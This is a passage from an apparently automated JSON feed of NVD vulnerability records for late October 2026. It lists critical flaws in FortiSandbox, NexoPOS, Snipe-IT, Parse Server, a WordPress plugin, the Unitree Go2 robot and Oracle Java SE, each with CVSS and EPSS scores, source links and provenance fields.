CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:50:56.370Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107656","cveId":"CVE-2026-107656","aliases":[],"kind":"vulnerability","title":"An authentication bypass using an alternate path or channel vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.6, FortiSandbox 4.4.0 through 4.4.9, FortiSandbox 4.2 all...","summary":"An authentication bypass using an alternate path or channel vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.6, FortiSandbox 4.4.0 through 4.4.9, FortiSandbox 4.2 all versions, FortiSandbox PaaS 5.0.0 through 5.0.6, FortiSandbox PaaS 4.4 all versions, FortiSandbox PaaS 4.2 all versions may allow attacker to execute unauthorized code or commands via crafted HTTP requests","detail":"An authentication bypass using an alternate path or channel vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.6, FortiSandbox 4.4.0 through 4.4.9, FortiSandbox 4.2 all versions, FortiSandbox PaaS 5.0.0 through 5.0.6, FortiSandbox PaaS 4.4 all versions, FortiSandbox PaaS 4.2 all versions may allow attacker to execute unauthorized code or commands via crafted HTTP requests\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:24.147Z","updatedAt":"2026-10-26T16:50:49.857Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Fortinet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107656","asOf":"2026-10-26T16:50:49.857Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107656","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107656","type":"primary","publishedAt":"2026-10-26T14:16:24.147Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:50:56.936Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107092","cveId":"CVE-2026-107092","aliases":[],"kind":"vulnerability","title":"NexoPOS v6.2.4 is vulnerable to Directory Traversal via the api/update endpoint.","summary":"NexoPOS v6.2.4 is vulnerable to Directory Traversal via the api/update endpoint.","detail":"NexoPOS v6.2.4 is vulnerable to Directory Traversal via the api/update endpoint.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:23.737Z","updatedAt":"2026-10-26T15:16:35.283Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107092","asOf":"2026-10-26T15:16:35.283Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107092","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107092","type":"primary","publishedAt":"2026-10-26T14:16:23.737Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:20:55.068Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116199","cveId":"CVE-2026-116199","aliases":[],"kind":"vulnerability","title":"Snipe-IT before 8.6.3 contains an authentication bypass in GoogleAuthController::handleGoogleCallback, which logs in the user whose username matches the Google account email...","summary":"Snipe-IT before 8.6.3 contains an authentication bypass in GoogleAuthController::handleGoogleCallback, which logs in the user whose username matches the Google account email without enforcing the activated flag. Deactivated users with email-shaped usernames and still-live Google identities can sign in via Google SSO and regain sessions at their original permission level, including admin.","detail":"Snipe-IT before 8.6.3 contains an authentication bypass in GoogleAuthController::handleGoogleCallback, which logs in the user whose username matches the Google account email without enforcing the activated flag. Deactivated users with email-shaped usernames and still-live Google identities can sign in via Google SSO and regain sessions at their original permission level, including admin.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:17:00.593Z","updatedAt":"2026-10-26T17:17:23.727Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116199","asOf":"2026-10-26T17:17:23.727Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116199","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116199","type":"primary","publishedAt":"2026-10-25T14:17:00.593Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116163","cveId":"CVE-2026-116163","aliases":[],"kind":"vulnerability","title":"Parse Server before 8.6.102 and 9.0.0 before 9.10.5-alpha.2 contains an authentication bypass because the validateSetUp, validateLogin, and validateUpdate methods of custom...","summary":"Parse Server before 8.6.102 and 9.0.0 before 9.10.5-alpha.2 contains an authentication bypass because the validateSetUp, validateLogin, and validateUpdate methods of custom adapters subclassing AuthAdapter are never called, and an inherited default that accepts any authData is used instead. Attackers can supply arbitrary authData to sign up, link identities, log in as existing users, or skip custom additional authentication factors.","detail":"Parse Server before 8.6.102 and 9.0.0 before 9.10.5-alpha.2 contains an authentication bypass because the validateSetUp, validateLogin, and validateUpdate methods of custom adapters subclassing AuthAdapter are never called, and an inherited default that accepts any authData is used instead. Attackers can supply arbitrary authData to sign up, link identities, log in as existing users, or skip custom additional authentication factors.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:55.110Z","updatedAt":"2026-10-26T17:17:22.223Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116163","asOf":"2026-10-26T17:17:22.223Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116163","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116163","type":"primary","publishedAt":"2026-10-25T14:16:55.110Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115214","cveId":"CVE-2026-115214","aliases":[],"kind":"vulnerability","title":"The Datawiza Proxy Auth Plugin  WordPress plugin before 1.1.1 does not verify that the user-identity and role HTTP request headers it trusts originate from a trusted reverse...","summary":"The Datawiza Proxy Auth Plugin  WordPress plugin before 1.1.1 does not verify that the user-identity and role HTTP request headers it trusts originate from a trusted reverse proxy, allowing unauthenticated attackers to create and authenticate as a WordPress administrator.","detail":"The Datawiza Proxy Auth Plugin  WordPress plugin before 1.1.1 does not verify that the user-identity and role HTTP request headers it trusts originate from a trusted reverse proxy, allowing unauthenticated attackers to create and authenticate as a WordPress administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T06:16:32.263Z","updatedAt":"2026-10-26T13:52:56.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115214","asOf":"2026-10-26T13:52:56.910Z"},"epss":{"probability":0.00137,"percentile":0.03056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115214&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115214","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115214","type":"primary","publishedAt":"2026-10-25T06:16:32.263Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115214&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115214, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115995","cveId":"CVE-2026-115995","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in Unitree Robotics Unitree Go2 up to 1.1.11.4. The impacted element is the function set_volume of the file gpt_thread.py of the...","summary":"A security vulnerability has been detected in Unitree Robotics Unitree Go2 up to 1.1.11.4. The impacted element is the function set_volume of the file gpt_thread.py of the component chat_go. Such manipulation of the argument Value leads to os command injection. The attack can be launched remotely. Upgrading to version 1.1.11.5 is sufficient to resolve this issue. You should upgrade the affected component. The vendor confirmed early: \"Submission 990502 corresponds to our internal ticket #474 (Go2 chat_go set_volume OS command injection, CWE-78).\"","detail":"A security vulnerability has been detected in Unitree Robotics Unitree Go2 up to 1.1.11.4. The impacted element is the function set_volume of the file gpt_thread.py of the component chat_go. Such manipulation of the argument Value leads to os command injection. The attack can be launched remotely. Upgrading to version 1.1.11.5 is sufficient to resolve this issue. You should upgrade the affected component. The vendor confirmed early: \"Submission 990502 corresponds to our internal ticket #474 (Go2 chat_go set_volume OS command injection, CWE-78).\"\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T23:16:58.323Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115995","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.01377,"percentile":0.71867,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115995&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115995","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115995","type":"primary","publishedAt":"2026-10-24T23:16:58.323Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115995&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115995, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114820","cveId":"CVE-2026-114820","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).","summary":"Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).  Supported versions that are affected are Oracle Java SE: 8u511-b32, 8u511-perf-b32, 11.0.33.0.2, 17.0.21.0.2, 21.0.13.0.2, 25.0.5.0.2, 27.0.1.0.2; Oracle GraalVM for JDK: 17.0.21.0.2 and  21.0.13.0.2; Oracle GraalVM Enterprise Edition: 21.3.20.0.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).  Supported versions that are affected are Oracle Java SE: 8u511-b32, 8u511-perf-b32, 11.0.33.0.2, 17.0.21.0.2, 21.0.13.0.2, 25.0.5.0.2, 27.0.1.0.2; Oracle GraalVM for JDK: 17.0.21.0.2 and  21.0.13.0.2; Oracle GraalVM Enterprise Edition: 21.3.20.0.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T19:17:04.413Z","updatedAt":"2026-10-26T16:58:40.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle","Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114820","asOf":"2026-10-26T16:58:40.880Z"},"epss":{"probability":0.00253,"percentile":0.16638,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114820&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114820","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114820","type":"primary","publishedAt":"2026-10-24T19:17:04.413Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 